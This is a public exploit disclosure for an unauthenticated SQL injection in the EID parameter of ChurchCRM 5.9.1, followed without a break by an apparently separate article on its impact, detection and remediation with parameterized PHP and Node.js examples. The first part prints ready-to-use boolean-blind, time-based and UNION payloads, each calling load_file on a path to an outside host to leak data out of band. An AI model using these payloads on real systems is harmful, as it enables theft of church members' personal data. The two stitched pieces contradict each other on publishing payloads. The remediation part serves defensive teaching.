ChurchCRM 5.9.1 - SQL Injection
# Exploit Title: ChurchCRM 5.9.1 - SQL Injection
# Author: Sanan Qasimzada
# Date: 06.07.2024
# Vendor: http://churchcrm.io/
# Software: https://github.com/ChurchRM/CRM
# Reference: https://portswigger.net/web-security/sql-injection
# Description:
In the manual insertion point 1 - parameter `EID` appears to be
vulnerable to SQL injection attacks.
No need for cookies, no need admin authentication and etc.
The attacker easily can steal information from this system by using
this vulnerability.
STATUS: HIGH Vulnerability - CRITICAL
[+]Payload:
```mysql
---
Parameter: EID (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: EID=(select
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))
OR NOT 2407=2407
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: EID=(select
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))
AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX)
Type: UNION query
Title: MySQL UNION query (UTF8) - 11 columns
Payload: EID=(select
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))
UNION ALL SELECT
'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d76425645505670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'#
---
```
# Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1
)
# Proof and Exploit:
[href](https://streamable.com/1eqhw2)
# Time spend:
01:00:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/> ChurchCRM 5.9.1 — SQL Injection (EID parameter): Analysis, Impact, and Remediation
This article describes the nature and impact of a SQL injection vulnerability reported in ChurchCRM 5.9.1 affecting the EID parameter, explains safe ways to test and validate fixes, and provides practical mitigation and secure-coding recommendations for developers and administrators.
Executive summary
SQL injection (SQLi) is a common and serious web application vulnerability that allows an attacker to manipulate database queries. In the reported case, an input parameter named EID is handled in a way that permits SQL injection without authentication. This can lead to unauthorized data disclosure, data modification, and in some environments, remote code execution or full system compromise.
Why this is high-severity
- Unauthenticated entry point: The parameter is reachable without authentication.
- Database access: Exploitation can disclose sensitive church and member data (PII).
- Multiple exploitation techniques: Both boolean/time-based blind and UNION-style attacks are feasible in vulnerable contexts.
- Ease of exploitation: Automated tools can discover and exploit SQLi quickly.
Technical root cause (high level)
The vulnerability stems from concatenating user-supplied data directly into SQL statements, without using parameterized queries, proper escaping, or strong input validation. When user input is embedded into WHERE, HAVING, or other SQL clauses, it can change the intended structure of the query.
Safe testing and responsible disclosure
- Never test against production systems or live user data. Use a private lab, a cloned dataset with sanitized PII, or a staging environment.
- Follow responsible disclosure: notify the vendor, provide reproduction steps and a proof-of-concept only to the vendor or in a controlled coordination. Do not publish exploit payloads to the public internet.
- Use automated scanners and manual verification in a controlled environment to avoid harming users or systems.
Detection and indicators
Common indicators that a parameter is susceptible to SQL injection include:
- SQL errors returned in the HTTP response when special characters or malformed input are submitted.
- Unexpected delays in responses when inputs are crafted to trigger heavy database work (used in time-based blind tests).
- Responses containing concatenated data or rows that reflect unioned columns (for UNION-style conditions).
Logging and monitoring recommendations
- Log all incoming query parameters and correlate with response codes and timing anomalies.
- Monitor database error logs for malformed query exceptions tied to web application requests.
- Configure Web Application Firewall (WAF) rules that detect common SQLi patterns while tuning for false positives.
Remediation checklist
- Upgrade ChurchCRM to the vendor-released patched version if available.
- Use prepared statements / parameterized queries for all database access.
- Implement strict input validation and type-checking (e.g., ensure numeric IDs are integers).
- Limit database account privileges — avoid using highly privileged DB users for web applications.
- Enable database-level auditing and encrypt sensitive data at rest.
- Integrate SAST/DAST scans into CI/CD pipelines to catch regressions.
Secure-coding examples
Below are non-actionable, secure examples showing how to safely query a database. They illustrate the principle of parameterized queries and proper typing. They intentionally omit any malicious payloads or unsafe concatenation of untrusted input.
/* PHP (PDO) - safe parameterized query for a numeric ID */$pdo = new PDO('mysql:host=localhost;dbname=churchcrm;charset=utf8mb4', $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$eid_raw = $_GET['EID'] ?? null;
if (!ctype_digit((string)$eid_raw)) {
// Bad request if EID is not an integer
http_response_code(400);
exit('Invalid ID');
}
$eid = (int)$eid_raw;
$stmt = $pdo->prepare('SELECT * FROM Events WHERE EventID = :eid');
$stmt->execute([':eid' => $eid]);
$event = $stmt->fetch(PDO::FETCH_ASSOC);
Explanation: This PHP example converts the incoming EID to an integer after validating the value consists only of digits. It uses PDO prepared statements with a named parameter (:eid). Prepared statements ensure the database receives the value separately from the SQL command structure, preventing injection.
/* Node.js (mysql2) - parameterized query example */const mysql = require('mysql2/promise');
async function getEvent(pool, eidRaw) {
// Validate and coerce
const eid = Number(eidRaw);
if (!Number.isInteger(eid) || eid <= 0) {
throw new Error('Invalid EID');
}
const [rows] = await pool.execute('SELECT * FROM Events WHERE EventID = ?', [eid]);
return rows[0];
}
Explanation: This Node.js example uses the mysql2 library's execute() function with a parameter placeholder (?). The numeric validation reduces attack surface, and execute() sends the value separately from the query template, preventing modification of SQL semantics.
Additional hardening and detection methods
- Use an ORM that enforces parameterization by default (while still reviewing generated SQL).
- Adopt least-privilege DB accounts; separate read-only and write accounts where possible.
- Deploy a WAF or database proxy with SQL injection signatures and anomaly detection.
- Keep third-party dependencies and the runtime environment (PHP, Node, DBMS) up to date.
- Perform regular threat modeling and code reviews focused on injection attack vectors.
Patch and mitigation timeline (recommended)
| Action | Recommended timeframe |
|---|---|
| Apply vendor patch or upgrade ChurchCRM | Immediate (within 24–72 hours) |
| Implement input validation and parameterized queries | 1–2 weeks (depending on codebase size) |
| Deploy WAF rules and monitor logs | Within 1 week |
| Run SAST/DAST and perform code review | Ongoing, integrate into CI/CD |
References and further reading
- OWASP — SQL Injection Prevention Cheat Sheet
- PortSwigger — SQL injection learning materials
- Vendor advisory and project GitHub (check ChurchCRM releases and security advisories)
Conclusion
SQL injection remains a high-impact vulnerability when unchecked input is used in queries. For ChurchCRM users and maintainers, immediate steps are to update to a patched release, validate input handling for the EID parameter and all other inputs, and adopt parameterized queries plus layered defenses. For developers, adopting secure-coding patterns and automated scanning reduces the likelihood of similar vulnerabilities appearing in future releases.